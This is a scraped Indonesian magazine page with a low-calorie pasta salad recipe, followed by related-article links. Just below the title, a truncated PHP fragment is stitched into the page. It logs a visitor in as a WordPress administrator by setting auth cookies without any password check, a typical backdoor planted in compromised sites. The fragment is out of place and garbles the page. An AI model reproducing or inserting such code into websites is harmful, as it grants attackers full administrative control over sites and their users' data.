Bikin Sendiri Salad Pasta, Praktis dan Mengenyangkan

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Easy Cooking

2 Sep 2025

Bekal makan siang buat yang mau berdiet dan berhemat. Foto ilustrasi: Canva

Jika kamu sedang diet dan ingin berhemat uang makan siang, Salad Pasta bisa jadi opsi bekal makan siang kamu.

Praktis dibuatnya, cukup mengenyangkan sebagai makan siang (kecuali kamu kerja berat), dan kalorinya pun termasuk rendah (sekitar 200-an kalori, dibandingkan makan siang nasi dan lauk yang minimal 400-an kalori).

Bahan:
1 L air
1 sdm minyak sayur
¼ sdt garam
200 g pasta (fusili atau penne)
Air es, untuk merendam

Bahan salad, simpan di lemari es hingga dingin:
250 g tomat ceri, belah 2
10 lembar selada romaine, potong-potong
2 buah mentimun jepang/kyuri, belah 2, buang bijinya, iris tipis

Dressing:
150 ml minyak zaitun
6 sdm air jeruk lemon

3 siung bawang merah, cincang halus
3 tangkai daun ketumbar, cincang halus
2 buah cabai merah besar, buang bijinya, cincang halus
1 siung bawang putih, cincang halus
2 sdm madu
½ sdt garam
½ sdt merica hitam bubuk

Cara membuat:
1/ Didihkan air bersama minyak dan garam. Rebus fusili atau penne selama 13 menit. Angkat, tiriskan.

2/ Tuang fusili atau penne ke dalam wadah berisi air es. Angkat, tiriskan. Sisihkan.

3/ Dressing: Campur semua bahan. Aduk hingga rata dan garam larut. Sisihkan.

4/ Campur fusili atau penne, selada, mentimun, tomat cherry, dan dressing. Aduk rata. Sajikan. (f)

Baca juga:
Resep Tongseng Kambing yang Lezat dengan Kuah Kaya Rasa
Resep Nasi Goreng Kambing Khas Nusantara, Mudah Dimasak dalam 30 Menit
Ubi Brûlée Hits Dijual di Mana-Mana, Ini Resepnya

Topic
#kuliner

4 Makanan Pengendali Berat Badan

Diet 1.500 Kalori

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id